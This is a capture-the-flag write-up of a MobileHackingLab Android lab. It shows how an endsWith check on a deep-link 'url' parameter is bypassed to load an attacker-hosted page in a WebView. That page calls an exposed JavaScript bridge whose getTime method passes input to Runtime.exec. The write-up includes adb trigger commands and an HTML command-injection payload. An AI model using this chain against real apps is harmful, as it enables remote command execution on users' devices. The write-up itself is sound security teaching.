# Guess Me; Android Deep Link RCE Challenge Writeup ; MobileHackingLab

## Challenge Overview

**Challenge Name:** Guess Me ; Android Deep Link Challenge

**Objective**: Exploit a deep link vulnerability in an Android application to achieve Remote Code Execution (RCE)

This CTF styled lab was part of the free android hacking course from [mobilehackinglab.com](http://mobilehackinglab.com) on exploiting deeplinks and achieving RCE.

## Manifest Recon

When I first looked at this challenge, I knew I had to to find how the app handles deep links. My initial recon focused on the AndroidManifest.xml file.

```xml
<activity
    android:name="com.mobilehackinglab.guessme.WebviewActivity"
    android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data
            android:scheme="mhl"
            android:host="mobilehackinglab"/>
    </intent-filter>
</activity>
```

What this tells me is:

* The WebviewActivity is exported
    
* It accepts deep links with the scheme `mhl://mobilehackinglab`
    

## Analyzing the WebviewActivity

I decompiled the APK and examined the WebviewActivity class. The onCreate method had two interesting function calls at the end:

* loadAssetIndex() - loads a local HTML file
    
* handleDeepLink(getIntent()) - processes incoming deep links
    

The loadAssetIndex() function seemed like a honeypot, just loading [file:///android\_asset/index.html](file:///android_asset/index.html). I spent a good time thinking this could be the entrypoint. But yes it was likely a honeypot.

The real action was in `handleDeepLink()`

## Understanding Deep Link Validation

The `handleDeepLink()` function was one critical piece:

```java
private final void handleDeepLink(Intent intent) {
    Uri uri = intent != null ? intent.getData() : null;
    if (uri != null) {
        if (isValidDeepLink(uri)) {
            loadDeepLink(uri);
        } else {
            loadAssetIndex();
        }
    }
}
```

It validates the deep link and either loads it or falls back to the local asset. Because we know the above local asset was likely a honeypot, lets focus on `isValidDeepLink()`

```java
private final boolean isValidDeepLink(Uri uri) {
    if ((!Intrinsics.areEqual(uri.getScheme(), "mhl") && 
         !Intrinsics.areEqual(uri.getScheme(), "https")) || 
        !Intrinsics.areEqual(uri.getHost(), "mobilehackinglab")) {
        return false;
    }
    String queryParameter = uri.getQueryParameter("url");
    return queryParameter != null && 
           StringsKt.endsWith$default(queryParameter, "mobilehackinglab.com", false, 2, (Object) null);
}
```

If you observe this function, it accepts certain format for the deeplink schema and returns `True` if it meets the requirements.

**Validation Requirements:**

1. Scheme must be `mhl` OR `https`
    
2. Host must be `mobilehackinglab`
    
3. Must have a `url` query parameter
    
4. The `url` parameter must **end with** [`mobilehackinglab.com`](http://mobilehackinglab.com) (This is a very critical piece later during exploitation)
    

These are some of the valid deeplinks this function accepts

```plaintext
mhl://mobilehackinglab/?url=mobilehackinglab.com
mhl://mobilehackinglab/?url=testmobilehackinglab.com
mhl://mobilehackinglab/?url=test.mobilehackinglab.com
mhl://mobilehackinglab/?url=example.com?mobilehackinglab.com
```

All of these are accepted due to **endsWith**

You could open the WebView with this `adb shell am start -a android.intent.action.VIEW -c android.intent.category.BROWSABLE -d "mhl://mobilehackinglab/?url=mobilehackinglab.com` and you can see the webview with mobilehackinglab page.

The validation only checks if the URL ends with [mobilehackinglab.com](http://mobilehackinglab.com), not if it is [mobilehackinglab.com](http://mobilehackinglab.com). This is a classic bypass opportunity for us!

I was stuck here for a while now what next?

## The "Aha!" Moment

While analyzing the `WebviewActivity`, I noticed something critical in the `onCreate` method:

```java
webView3.addJavascriptInterface(new MyJavaScriptInterface(), "AndroidBridge");
```

JavaScript is enabled, and there was a custom interface exposed

```java
public final class MyJavaScriptInterface {
    @JavascriptInterface
    public final void loadWebsite(String url) {
        // loads a URL in the webview
    }

    @JavascriptInterface
    public final String getTime(String Time) throws IOException {
        try {
            Process process = Runtime.getRuntime().exec(Time);
            InputStream inputStream = process.getInputStream();
            // ... reads output ...
            return text;
        } catch (Exception e) {
            return "Error getting time";
        }
    }
}
```

## **WAIT, WHAT?!**

The `getTime()` method takes user input and passes it directly to `Runtime.getRuntime().exec()`! This is **command injection**! Anytime you see where user input lands into exec, you know its going to be fun!

## Connecting the Dots - The Attack Chain

Now I had all the pieces:

1. I can trigger a deep link to load a URL I control (with validation bypass)
    
2. That URL loads in a WebView with JavaScript enabled
    
3. JavaScript can access `AndroidBridge.getTime(command)`
    
4. `getTime()` executes arbitrary system commands!
    

*Malicious Deep Link → Load Our Payload Webpage → JavaScript calls AndroidBridge.getTime("command") → RCE!*

## Crafting the Exploit

**Challenge:** How do I control the loaded URL while satisfying the validation?

The validation checks if the `url` parameter ends with [`mobilehackinglab.com`](http://mobilehackinglab.com). I can use URL query parameters or could use #

You can observe that the google.com is rendered because its a valid scheme accepted by the app because it also ends with mobilehackinglab.com

```bash
adb shell am start -a android.intent.action.VIEW -c android.intent.category.BROWSABLE -d "mhl://mobilehackinglab/?url=google.com/search?q=mobilehackinglab.com"
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769149715384/582964f3-ac5b-4e77-af06-61c39c93e078.png align="center")

### **Bypass Technique:**

```bash
https://redacted.com?whatever=mobilehackinglab.com
```

This URL:

* Ends with [`mobilehackinglab.com`](http://mobilehackinglab.com)
    
* Loads content from redacted.com when passed to `webView.loadUrl()`
    
* This will meet all the criteria and load the page
    

I created a very basic POC to begin with,

```bash
<html>
<body onload="alert(1)">
</body>
</html>
```

Hosted it using Python:

```bash
python3 -m http.server 8000
ngrok http 8000
```

### Basic Poc Test

```bash
adb shell am start -a android.intent.action.VIEW \
  -c android.intent.category.BROWSABLE \
  -d "mhl://mobilehackinglab?url=https://e42d280f9baf.ngrok-free.app?qry=mobilehackinglab.com"
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769149933471/fad25ecc-7a34-4de3-87fb-f115ec3a9b99.png align="center")

You can see that js functions are executing! Which is a solid win, now lets focus on exploiting this in real world scenario.

### **Setting Up My Malicious Server**

Now that we know js is being executed, lets execute some commands to see if rce is possible, now if you remember the interface, it was AndroidBridge and the function that was accepting custom user input was getTime, hence we use `AndroidBridge.getTime("command")`

I created a simple HTML payload:

```html
<html>
    <body>
        <script>
            var output = AndroidBridge.getTime("ls");
            alert(output);
        </script>
    </body>
</html>
```

Same hosted using python and ngrok

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769150138493/904b29a5-5d22-404a-9201-8b4dcbb56142.png align="center")

When I triggered the deep link, the WebView loaded my malicious page, the JavaScript executed, and I got an alert showing the output of the `ls` command, the entire Android filesystem!

Rce was achieved :party:

## Concepts and Further reads

`addJavascriptInterface()` is an Android WebView API that exposes Java/Kotlin methods to JavaScript code running in the web page. This creates a bridge between web content and native Android functionality. **If not properly secured, it allows malicious JavaScript to call sensitive Android APIs or, in this case, execute system commands.**

* [Basic Deeplink Introduction](https://www.vaadata.com/blog/what-are-deep-links-vulnerabilities-attacks-and-security-best-practices/)
    
* [Deep Links & WebViews Exploitations](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-i-452e8aad124f)
    
* [Remediation for Javascript Interface Injection](https://support.google.com/faqs/answer/9095419?hl=en)
    

*Disclaimer: While all technical work and problem-solving was done by me, this writeup was edited with assistance from an LLM to improve grammar, clarity, and flow.*
